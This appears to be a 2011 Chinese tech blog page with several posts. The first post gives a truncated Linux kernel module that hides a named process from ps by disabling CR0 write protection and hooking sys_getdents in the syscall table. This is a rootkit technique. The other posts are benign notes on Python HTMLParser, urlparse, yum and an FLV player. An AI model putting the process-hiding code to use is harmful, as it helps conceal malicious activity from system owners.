LINUXQQ

四月 30, 2011

linux 隐藏进程

Filed under: linux — admin @ 3:15 下午

改天空了研究下 先记录上网上很多类似的文章,其中很多示例程序都是在比较老的内核版本上测试过,很多在新的内核下根本无法运行,我收集了一些相关的资料,并给出一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下:

  1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误.

  unsigned int clear_and_return_cr0(void);

  void setback_cr0(unsigned int val);

  2.针对ubuntu9.04中,ps命令用的系统调用是sys_getdents,不是sys_getdents64(在suse系统里面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系统调用.

  测试环境: ubuntu9.04 内核版本2.6.28

  模块代码如下:

  /*hideps.c*/

  #include <linux/module.h>

  #include <linux/kernel.h>

  #include <asm/unistd.h>

  #include <linux/types.h>

  #include <linux/sched.h>

  #include <linux/dirent.h>

  #include <linux/string.h>

  #include <linux/file.h>

  #include <linux/fs.h>

  #include <linux/list.h>

  #include <asm/uaccess.h>

  #include <linux/unistd.h>

  //#include <sys/stat.h>

  //#include <fcntl.h>

  #define CALLOFF 100

  //使用模块参数来定义需要隐藏的进程名

  int orig_cr0;

  char psname[10]=”looptest”;

  char *processname=psname;

  //module_param(processname, charp, 0);

  struct {

  unsigned short limit;

  unsigned int base;

  } __attribute__ ((packed)) idtr;

  struct {

  unsigned short off1;

  unsigned short sel;

  unsigned char none,flags;

  unsigned short off2;

  } __attribute__ ((packed)) * idt;

  struct linux_dirent{

  unsigned long     d_ino;

  unsigned long     d_off;

  unsigned short    d_reclen;

  char    d_name[1];

  };

  void** sys_call_table;

  unsigned int clear_and_return_cr0(void)

  {

  unsigned int cr0 = 0;

  unsigned int ret;

  asm volatile (“movl %%cr0, %%eax”

  : “=a”(cr0)

  );

  ret = cr0;

  /*clear the 20th bit of CR0,*/

  cr0 &= 0xfffeffff;

  asm volatile (“movl %%eax, %%cr0″

  :

  : “a”(cr0)

  );

  return ret;

  }

  void setback_cr0(unsigned int val)

  {

  asm volatile (“movl %%eax, %%cr0″

  :

  : “a”(val)

  );

  }

  asmlinkage long (*orig_getdents)(unsigned int fd,

  struct linux_dirent __user *dirp, unsigned int count);

  char * findoffset(char *start)

  {

  char *p;

  for (p = start; p < start + CALLOFF; p++)

  if (*(p + 0) == ‘\xff’ && *(p + 1) == ‘\x14′ && *(p + 2) == ‘\x85′)

  return p;

  return NULL;

  }

  int myatoi(char *str)

  {

  int res = 0;

  int mul = 1;

  char *ptr;

  for (ptr = str + strlen(str) – 1; ptr >= str; ptr–)

  {

  if (*ptr < ’0′ || *ptr > ’9′)

  return (-1);

  res += (*ptr – ’0′) * mul;

  mul *= 10;

  }

  if(res>0 && res< 9999)

  printk(KERN_INFO “pid=%d,”,res);

  printk(“\n”);

  return (res);

  }

  struct task_struct *get_task(pid_t pid)

  {

  struct task_struct *p = get_current(),*entry=NULL;

  list_for_each_entry(entry,&(p->tasks),tasks)

  {

  if(entry->pid == pid)

  {

  printk(“pid found=%d\n”,entry->pid);

  return entry;

  }

  else

  {

  //    printk(KERN_INFO “pid=%d not found\n”,pid);

  }

  }

  return NULL;

  }

  static inline char *get_name(struct task_struct *p, char *buf)

  {

  int i;

  char *name;

  name = p->comm;

  i = sizeof(p->comm);

  do {

  unsigned char c = *name;

  name++;

  i–;

  *buf = c;

  if (!c)

  break;

  if (c == ‘\\’) {

  buf[1] = c;

  buf += 2;

  continue;

  }

  if (c == ‘\n’)

四月 22, 2011

python AbstractFormatter

Filed under: python — admin @ 4:29 下午

模糊的搞懂了什么意思

HTMLParser(AbstractFormatter(DumbWriter(StringIO)))  ”’ 使用HTMLParser的方法进行处理,StringIO是从内存中读取数据,DumbWriter将事件流转换为存文本文档”’
主要是AbstractFormatter 查了下相关资料

formatter 模块
formatter 模块提供了一些可用于 htmllib 的格式类( formatter classes ).
这些类有两种, formatter 和 writer . formatter 将 HTML 解析器的标签和数据流转换为适合输出设备的事件流( event stream ), 而 writer 将事件流输出到设备上.
大多情况下, 你可以使用 AbstractFormatter 类进行格式化. 它会根据不同的格式化事件调用 writer 对象的方法. AbstractWriter 类在每次方法调用时打印一条信息.

 

HTMLParser是python用来解析html的模块。它可以分析出html里面的标签、数据等等,是一种处理html的简便途径。HTMLParser采用的是一种事件驱动的模式,当HTMLParser找到一个特定的标记时,它会去调用一个用户定义的函数,以此来通知程序处理。它主要的用户回调函数的命名都是以handler_开头的,都是HTMLParser的成员函数。当我们使用时,就从HTMLParser派生出新的类,然后重新定义这几个以handler_开头的函数即可。这几个函数包括:
handle_startendtag  处理开始标签和结束标签
handle_starttag     处理开始标签,比如<xx>
handle_endtag       处理结束标签,比如</xx>
handle_charref      处理特殊字符串,就是以&#开头的,一般是内码表示的字符
handle_entityref    处理一些特殊字符,以&开头的,比如 &nbsp;
handle_data         处理数据,就是<xx>data</xx>中间的那些数据
handle_comment      处理注释
handle_decl         处理<!开头的,比如<!DOCTYPE html PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”
handle_pi           处理形如<?instruction>的东西
    这里我以从网页中获取到url为例,介绍一下。要想获取到url,肯定是要分析<a>标签,然后取到它的href属性的值。下面是代码:

#-*- encoding: gb2312 -*-
import HTMLParser

class MyParser(HTMLParser.HTMLParser):
    def __init__(self):
        HTMLParser.HTMLParser.__init__(self)        
        
    def handle_starttag(self, tag, attrs):
        # 这里重新定义了处理开始标签的函数
        if tag == ’a':
            # 判断标签<a>的属性
            for name,value in attrs:
                if name == ’href’:
                    print value
        

if __name__ == ’__main__’:
    a = ’<html><head><title>test</title><body><a href=”http://www.163.com”>链接到163</a></body></html>’
    
    my = MyParser()
    # 传入要分析的数据,是html的。
    my.feed(a)

class HTMLParser.HTMLParser:使用HTMLParser 的实例,填充HTML数据,并在开始和结束标记间调用函数.HTMLParser类意味着重载.和 htmllib 的分析器不同,this parser并不检测和开始标记对应的结束标记

HTMLParser 实例有如下的方法:
HTMLParser.reset()  #重置实例.所有未处理的数据都会丢失.在初始化时自动调用.
HTMLParser.feed(data) #给分析器喂食.在由完整元素构成的情况下工作;不完整数据情况下,会进行缓冲知道更多数据加进来或者 close() 被调用.
HTMLParser.close()  #处理所有缓冲数据.这个方法可以被派生类重定义,以便在输入结束后处理额外的事情,重定义的版本也要调用 HTMLParser 基类的 close() 方法.
HTMLParser.getpos() #返回当前行数和列数
HTMLParser.get_starttag_text() #返回最近打开过得开始标记处的文本.通常不会用到
HTMLParser.handle_starttag(tag, attrs) #该方法用来处理一个标记的开始.tag参数是tag的名字的小写化.attrs参数是一个list,由(name,value)组成,反映了<>里面的属性. name会被翻译成小写字母,在value中的引号也被移除了,字符实体引用也会被替换.例如,有个 tag<A HREF=”http://www.cwi.nl/”> ,那么使用该方法就该这么做: handle_starttag(‘a’, [('href','http://www.cwi.nl/')])
HTMLParser.handle_startendtag(tag, attrs) #和handle_starttag()类似,用来处理XHTML风格的空标签(<a …/>).可能被子类重载
HTMLParser.handle_endtag(tag) #该方法用来处理元素结束标记.可以被派生类重载;基类什么也不做. tag参数是tag的name转化来的小写字母.
HTMLParser.handle_data(data) #该方法用来处理随机的数据.
HTMLParser.handle_charref(name) #处理 &#ref 格式的字符引用.
HTMLParser.handle_entityref(name)  #处理一般的 &name 格式的实体引用. name 是一个一般的实体引用.
HTMLParser.handle_comment(data) #处理遇到注释的情况.注释参数为在——和——之间的字符串文本,而不是分隔符自身.例如 <!–text–> ,该方法将调用’text’.
HTMLParser.handle_decl(decl) #当分析器遇到SGML声明时调用此方法. decl 参数是 <!…> 标记里的整个内容.
HTMLParser.handle_pi(data) #处理命令, data 参数包含整个的处理命令.例如 <?proc color=’red’> ,该方法应写成 handle_pi(“proc color=’red’”).

使用实例:

#!/usr/bin/python
#-*- encoding: utf-8 -*-

import HTMLParser
class MyParser(HTMLParser.HTMLParser):
    def __init__(self):
        HTMLParser.HTMLParser.__init__(self)               
    def handle_starttag(self, tag, attrs):
       
# 这里重新定义了处理开始标签的函数
        if tag == ‘a’:
            # 判断标签<a>的属性
            for name,value in attrs:
                if name == ‘href’:
                    print value
       
if __name__ == ‘__main__’:
    a = ‘<html><head><title>test</title><body><a href=”http: //www.163.com”>链接到163</a><a href=”
http://www.linuxqq.net“>焦点</a></body></html>’
    my = MyParser()
    # 传入要分析的数据,是html的。
    my.feed(a)

运行结果:

www.163.com www.linuxqq.net

http: //www.163.com
http://www.linuxqq.net
handle_startendtag 处理开始标签和结束标签
handle_starttag     处理开始标签,比如<xx>
handle_endtag       处理结束标签,比如</xx>
handle_charref      处理特殊字符串,就是以&#开头的,一般是内码表示的字符
handle_entityref    处理一些特殊字符,以&开头的,比如 &nbsp;
handle_data         处理数据,就是<xx>data</xx>中间的那些数据
handle_comment      处理注释
handle_decl         处理<!开头的,比如<!DOCTYPE html PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”
handle_pi           处理形如<?instruction>的东西

四月 21, 2011

urlparse TypeError: ‘module’ object is not callable

Filed under: python — admin @ 11:40 上午

import urllib
import urllib2
import urlparse
url=’http://www.linuxqq.net’
aa=urlparse(url)[1]
print aa
报错 纠结了 看下书

原来urlparse 是模块 模块怎么能直接输出呢

适当的改了下

import urllib
import urllib2
import urlparse
url=’http://www.linuxqq.net’
aa=urlparse.urlparse(url)[1]
print aa

OK正常啦 自己小鸟啦

四月 14, 2011

You could try using –skip-broken to work around the problem

Filed under: linux — admin @ 10:07 上午

Error: Missing Dependency: perl(Compress::Raw::Zlib) = 2.024 is needed by package perl-IO-Compress-2.030-1.el5.rf.noarch (dag)
 You could try using –skip-broken to work around the problem
 You could try running: package-cleanup –problems
                        package-cleanup –dupes
                        rpm -Va –nofiles –nodigest
The program package-cleanup is found in the yum-utils package.
[root@www ~]# 

解决: 

yum –skip-broken update

四月 8, 2011

flv 开源的网页播放器

Filed under: 乱7八糟 — admin @ 3:57 下午

发现了一个好用的JW PLAYER 播放器记录下

JW PLAYER 是一个界面简洁、功能齐全的在线flv flash播放器.有着很多可选控制参数。
多个参数可以混合使用,下面选择几个作简要说明:
file (FLV文件的地址,如果不设置则默认为jw player flv网页播放器同目录的video.flv)
autostart (是否允许自动播放,”true”或者”false”)
image (未播放时的预览图片,只支持JPEG格式)
repeat (是否重复播放)
clicktext (开始时显示的文字,默认是”click to play”)

下载的最新版本flv网页播放器调用说明:
<script type=”text/javascript” src=”swfobject.js”></script>
<script type=”text/javascript”>
var s1 = new SWFObject(“player.swf”,”ply”,”190″,”180″,”0″,”#FFB901″);
s1.addParam(“allowfullscreen”,”true”);
s1.addParam(“allowscriptaccess”,”always”);
s1.addParam(“flashvars”,”file=/flv/video.flv&image=/flv/preview.jpg&autostart=true”);
s1.write(“container”);
</script>

说明:
autostart=true是设置自动播放,如果把true改为flash则不自动播放。
file=/flv/video.flv是设置播放flv文件的位置。
image=/flv/preview.jpg是设置未播放时的预览图片,只支持JPG的图片。

flv网页播放器JW Player使用说明(适用旧版本):

一般调用程序代码
<object type=”application/x-shockwave-flash” width=”400″ height=”220″  wmode=”transparent” data=”flvplayer.swf”>
<param name=”movie” value=”flvplayer.swf” />
<param name=”wmode” value=”transparent” />
<object/>

flvplayer.swf会自动找到同一目录内的video.flv播放。也可以在flvplayer.swf后添加FLV文件的URL来进行播放。方法如下:

程序代码
<object type=”application/x-shockwave-flash” width=”400″ height=”220″ wmode=”transparent” data=”flvplayer.swf?file=movies/holiday.flv”>
<param name=”movie” value=”flvplayer.swf?file=movies/holiday.flv” />
<param name=”wmode” value=”transparent” />
</object>

file=movies/holiday.flv就是参数,可以使用相对或者绝对地址。

其他参数说明:如果载入影片时不需要自动播放,可以使用autostart参数

例子
<object type=”application/x-shockwave-flash” width=”400″ height=”220″
wmode=”transparent” data=”flvplayer.swf?autostart=false”>
<param name=”movie” value=”flvplayer.swf?autostart=false” />
<param name=”wmode” value=”transparent” />
</object>

Powered by LINUXQQ   ICP 10203065